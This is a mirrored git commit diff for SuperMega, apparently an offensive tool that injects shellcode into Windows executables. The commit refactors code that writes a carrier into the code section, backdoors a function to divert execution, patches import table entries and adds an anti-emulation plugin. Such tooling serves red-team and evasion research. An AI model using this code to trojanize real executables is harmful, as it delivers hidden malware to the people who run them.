admin/SuperMega
1
0
Fork 0
mirror of https://github.com/dobin/SuperMega synced 2026-06-02 17:27:10 +00:00
Code Issues Packages Projects Releases Wiki Activity

refactor: iat references array, and various cleanup

Browse Source
This commit is contained in:
Dobin Rutishauser
2024-06-22 15:55:49 +02:00
parent de77f50f06
commit bbd3297a95
6 changed files with 84 additions and 68 deletions
Download Patch File Download Diff File Expand all files Collapse all files
model/carrier.py
+24 -14
View File
@@ -12,12 +12,16 @@ logger = logging.getLogger("Carrier")
class IatRequest():
def __init__(self, name: str, placeholder: bytes):
self.name: str = name # Function Name, like "VirtualAlloc"
self.placeholder: bytes = placeholder # Random bytes as placeholder
self.references: List[bytes] = []
self.add_reference(placeholder)
def add_reference(self, placeholder):
self.references.append(placeholder)
class DataReuseReference():
def __init__(self, randbytes: bytes, register: str):
self.randbytes: bytes = randbytes
def __init__(self, placeholder: bytes, register: str):
self.placeholder: bytes = placeholder
self.register: str = register
@@ -31,8 +35,8 @@ class DataReuseEntry():
self.references: List[DataReuseReference] = []
def add_reference(self, randbytes, register):
self.references.append(DataReuseReference(randbytes, register))
def add_reference(self, placeholder, register):
self.references.append(DataReuseReference(placeholder, register))
class Carrier():
@@ -46,6 +50,21 @@ class Carrier():
self.superpe = SuperPe(self.exe_filepath)
# IAT
def add_iat_request(self, func_name: str, placeholder: bytes):
# existing?
for iat in self.iat_requests:
if iat.name == func_name:
iat.add_reference(placeholder)
return
# new
self.iat_requests.append(IatRequest(func_name, placeholder))
def get_all_iat_requests(self) -> List[IatRequest]:
return self.iat_requests
def get_unresolved_iat(self):
"""Returns a list of IAT entries not available in the PE file"""
functions = []
@@ -55,15 +74,6 @@ class Carrier():
return functions
# IAT
def add_iat_request(self, func_name: str, placeholder: bytes):
self.iat_requests.append(IatRequest(func_name, placeholder))
def get_all_iat_requests(self) -> List[IatRequest]:
return self.iat_requests
# Data Reuse
def add_datareuse_fixup(self, fixup: DataReuseEntry):
phases/asmtextparser.py
+10 -9
View File
@@ -67,12 +67,12 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
raise Exception("Data reuse entry not found: {}".format(string_ref))
# add a reference
randbytes: bytes = os.urandom(7) # LEA is 7 bytes
placeholder: bytes = os.urandom(7) # LEA is 7 bytes
register = line.split("mov\t")[1].split(",")[0]
datareuse_fixup.add_reference(randbytes, register)
datareuse_fixup.add_reference(placeholder, register)
# add lines
line = bytes_to_asm_db(randbytes) + " ; supermega_payload Payload".format()
line = bytes_to_asm_db(placeholder) + " ; supermega_payload Payload".format()
lines_out.append(line)
continue
@@ -84,9 +84,10 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
if "QWORD PTR __imp_" in line:
# just the function name, without __imp_
func_name = line[line.find("__imp_")+6:].rstrip()
randbytes: bytes = os.urandom(6) # exact size or the result
carrier.add_iat_request(func_name, randbytes)
new_line = bytes_to_asm_db(randbytes) + " ; IAT Reuse for {}".format(func_name)
placeholder: bytes = os.urandom(6) # exact size or the result
carrier.add_iat_request(func_name, placeholder)
new_line = bytes_to_asm_db(placeholder) + " ; IAT Reuse for {}".format(func_name)
lines_out.append(new_line)
continue
@@ -129,10 +130,10 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
raise("Data reuse entry not found: {}".format(string_ref))
register = line.split("lea\t")[1].split(",")[0]
randbytes: bytes = os.urandom(7)
datareuse_fixup.add_reference(randbytes, register)
placeholder: bytes = os.urandom(7)
datareuse_fixup.add_reference(placeholder, register)
line = bytes_to_asm_db(randbytes) + " ; .rdata Reuse for {} ({})".format(
line = bytes_to_asm_db(placeholder) + " ; .rdata Reuse for {} ({})".format(
string_ref, register)
lines_out.append(line)
continue
phases/injector.py
+43 -38
View File
@@ -42,17 +42,18 @@ def inject_exe(carrier_shc: bytes, settings: Settings, carrier: Carrier, payload
# skip available
addr = superpe.get_vaddr_of_iatentry(iatRequest.name)
if addr != None:
logger.info(" IAT {} is at: 0x{:X}".format(iatRequest.name, addr))
logger.info(" Request IAT {} is available at 0x{:X}".format(
iatRequest.name, addr))
continue
iat_name = superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name)
if not settings.fix_missing_iat:
raise Exception("Error: {} not available, but fix_missing_iat is False".format(
iatRequest.name
))
iatRequest.name))
# do the patch
superpe.patch_iat_entry("KERNEL32.dll", iat_name, iatRequest.name)
#logger.info(" Unavailable IAT {} now patched".format(
# iatRequest.name))
# we modify the IAT raw, so reparsing is required
superpe.pe.parse_data_directories()
superpe.init_iat_entries()
@@ -78,17 +79,17 @@ def inject_exe(carrier_shc: bytes, settings: Settings, carrier: Carrier, payload
else: # EXE/DLL
# Put it somewhere in the code section, and rewire the flow
sect = superpe.get_code_section()
if sect == None:
code_section = superpe.get_code_section()
if code_section == None:
raise Exception('Could not find code section in input PE file!')
sect_size = sect.Misc_VirtualSize # Better than: SizeOfRawData
sect_size = code_section.Misc_VirtualSize # Better than: SizeOfRawData
if sect_size < carrier_shc_len + CODE_INJECT_SIZE_CHECK_ADD:
raise Exception("Shellcode too large: {}+{} > {}".format(
carrier_shc_len, CODE_INJECT_SIZE_CHECK_ADD, sect_size
))
carrier_shc_offset = int((sect_size - carrier_shc_len) / 2) # centered in the .text section
#shellcode_offset = round_up_to_multiple_of_8(shellcode_offset)
carrier_shc_offset += sect.PointerToRawData
carrier_shc_offset += code_section.PointerToRawData
shellcode_rva = superpe.pe.get_rva_from_offset(carrier_shc_offset)
# Aligning the payload (not carrier!) to page size is important for dll_loader_change
@@ -97,8 +98,8 @@ def inject_exe(carrier_shc: bytes, settings: Settings, carrier: Carrier, payload
shellcode_rva = align_to_page_size(shellcode_rva, carrier_shc_len - len(payload.payload_data))
carrier_shc_offset = superpe.pe.get_offset_from_rva(shellcode_rva)
logger.info("---( Inject: Write Shellcode to offset:0x{:X} (rva:0x{:X})".format(
carrier_shc_offset, shellcode_rva))
logger.info("---( Inject: Write Carrier to 0x{:X} (0x{:X})".format(
shellcode_rva, carrier_shc_offset))
# Copy the shellcode
superpe.pe.set_bytes_at_offset(carrier_shc_offset, carrier_shc)
@@ -127,11 +128,11 @@ def inject_exe(carrier_shc: bytes, settings: Settings, carrier: Carrier, payload
addr))
function_backdoorer.backdoor_function(addr, shellcode_rva, carrier_shc_len)
logger.info("--( Fix shellcode to re-use IAT entries")
logger.info("--( Fix imports and make carrier reference IAT")
injected_fix_iat(superpe, carrier)
logger.info("--( Fix shellcode to reference data stored in .rdata")
logger.info("--( Insert and reference carrier data")
injected_fix_data(superpe, carrier,
carrier_shc_offset + carrier_shc_len)
carrier_shc_offset + carrier_shc_len + 4096)
# changes from console to UI (no console window) if necessary
superpe.patch_subsystem()
@@ -150,25 +151,29 @@ def injected_fix_iat(superpe: SuperPe, carrier: Carrier):
"""replace IAT-placeholders in shellcode with call's to the IAT"""
code = superpe.get_code_section_data()
for iatRequest in carrier.get_all_iat_requests():
if not iatRequest.placeholder in code:
raise Exception("IatResolve ID {} not found, abort".format(iatRequest.placeholder))
offset_from_code = code.index(iatRequest.placeholder)
# Note that the SuperPe may already have been patched for new IAT imports
destination_virtual_address = superpe.get_vaddr_of_iatentry(iatRequest.name)
if destination_virtual_address == None:
raise Exception("IatResolve: Function {} not found".format(iatRequest.name))
instruction_virtual_address = offset_from_code + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress
logger.info(" Replace {} at VA 0x{:X} with: call to IAT at VA 0x{:X}".format(
iatRequest.placeholder.hex(), instruction_virtual_address, destination_virtual_address
))
jmp = assemble_relative_call(instruction_virtual_address, destination_virtual_address)
if len(jmp) != len(iatRequest.placeholder):
raise Exception("IatResolve: Call to IAT has different length than placeholder: {} != {} abort".format(
len(jmp), len(iatRequest.placeholder)
for placeholder in iatRequest.references:
if not placeholder in code:
raise Exception("IatResolve ID {} not found, abort".format(placeholder))
offset_from_code = code.index(placeholder)
# Note that the SuperPe may already have been patched for new IAT imports
destination_virtual_address = superpe.get_vaddr_of_iatentry(iatRequest.name)
if destination_virtual_address == None:
raise Exception("IatResolve: Function {} not found".format(iatRequest.name))
instruction_virtual_address = offset_from_code + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress
logger.info(" Replace {} at VA 0x{:X} with: call to IAT at VA 0x{:X} ({})".format(
placeholder.hex(),
instruction_virtual_address,
destination_virtual_address,
iatRequest.name
))
code = code.replace(iatRequest.placeholder, jmp)
jmp = assemble_relative_call(instruction_virtual_address, destination_virtual_address)
if len(jmp) != len(placeholder):
raise Exception("IatResolve: Call to IAT has different length than placeholder: {} != {} abort".format(
len(jmp), len(placeholder)
))
code = code.replace(placeholder, jmp)
superpe.write_code_section_data(code)
@@ -221,25 +226,25 @@ def injected_fix_data(superpe: SuperPe, carrier: Carrier, shellcode_offset: int)
for datareuse_fixup in reusedata_fixups:
ref: DataReuseReference
for ref in datareuse_fixup.references:
if not ref.randbytes in code:
if not ref.placeholder in code:
raise Exception("fix data in injectable: DataReuse: ID {} ({}) not found in code section, abort".format(
ref.randbytes.hex(), datareuse_fixup.string_ref))
ref.placeholder.hex(), datareuse_fixup.string_ref))
offset_from_datasection = code.index(ref.randbytes)
offset_from_datasection = code.index(ref.placeholder)
instruction_virtual_address = offset_from_datasection + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress
destination_virtual_address = datareuse_fixup.addr
logger.info(" Replace bytes {} at VA 0x{:X} with: LEA {} .rdata 0x{:X}".format(
ref.randbytes.hex(), instruction_virtual_address, ref.register, destination_virtual_address
ref.placeholder.hex(), instruction_virtual_address, ref.register, destination_virtual_address
))
lea = assemble_lea(
instruction_virtual_address, destination_virtual_address, ref.register
)
asm_disasm(lea, instruction_virtual_address) # DEBUG
if len(lea) != len(ref.randbytes):
if len(lea) != len(ref.placeholder):
raise Exception("DataReuseFixup: lea instr has different length than placeholder: {} != {} abort".format(
len(lea), len(ref.randbytes)
len(lea), len(ref.placeholder)
))
code = code.replace(ref.randbytes, lea)
code = code.replace(ref.placeholder, lea)
superpe.write_code_section_data(code)
phases/templater.py
+3
View File
@@ -52,6 +52,9 @@ def create_c_from_template(settings: Settings, payload_len: int):
settings.plugin_antiemulation)
with open(filepath_antiemulation, "r", encoding='utf-8') as file:
plugin_antiemualation = file.read()
plugin_antiemualation = Template(plugin_antiemualation).render({
'PAYLOAD_LEN': payload_len,
})
# Plugin: Decoy
filepath_decoy = PATH_DECOY + "{}.c".format(
supermega.py
+3 -6
View File
@@ -186,11 +186,8 @@ def start_real(settings: Settings):
# we have the carrier-required IAT entries in carrier.iat_requests
# CHECK if all are available in infectable, or abort (early check)
functions = project.carrier.get_unresolved_iat()
if len(functions) != 0:
if settings.fix_missing_iat:
logger.info("--[ Fixing missing IAT entries: {}".format(", ".join(functions)))
else:
raise Exception("IAT entry not found: {}".format(", ".join(functions)))
if len(functions) != 0 and settings.fix_missing_iat == False:
raise Exception("IAT entry not found: {}".format(", ".join(functions)))
# ASSEMBLE: Assemble .asm to .shc (ASM -> SHC)
if settings.generate_shc_from_asm:
@@ -199,7 +196,7 @@ def start_real(settings: Settings):
build_exe = settings.main_exe_path)
observer.add_code_file("carrier_shc", carrier_shellcode)
# inject (merged) loader into an exe. Big task.
# INJECT loader into an exe and do IAT & data references. Big task.
phases.injector.inject_exe(carrier_shellcode, settings, project.carrier, project.payload)
#observer.add_code_file("exe_final", extract_code_from_exe_file_ep(settings.inject_exe_out, 300))
tests/test_asmparser.py
+1 -1
View File
@@ -98,7 +98,7 @@ class AsmTest(unittest.TestCase):
self.assertTrue('rcx' in entry.register)
self.assertEqual(entry.data, b"U\x00S\x00E\x00R\x00P\x00R\x00O\x00F\x00I\x00L\x00E\x00\x00\x00")
self.assertEqual(entry.addr, 0)
self.assertEqual(7, len(entry.randbytes)) # needs to be 7!
self.assertEqual(7, len(entry.placeholder)) # needs to be 7!
entry = data_reuse_entries[1+1]
self.assertTrue('$SG72514' in entry.string_ref)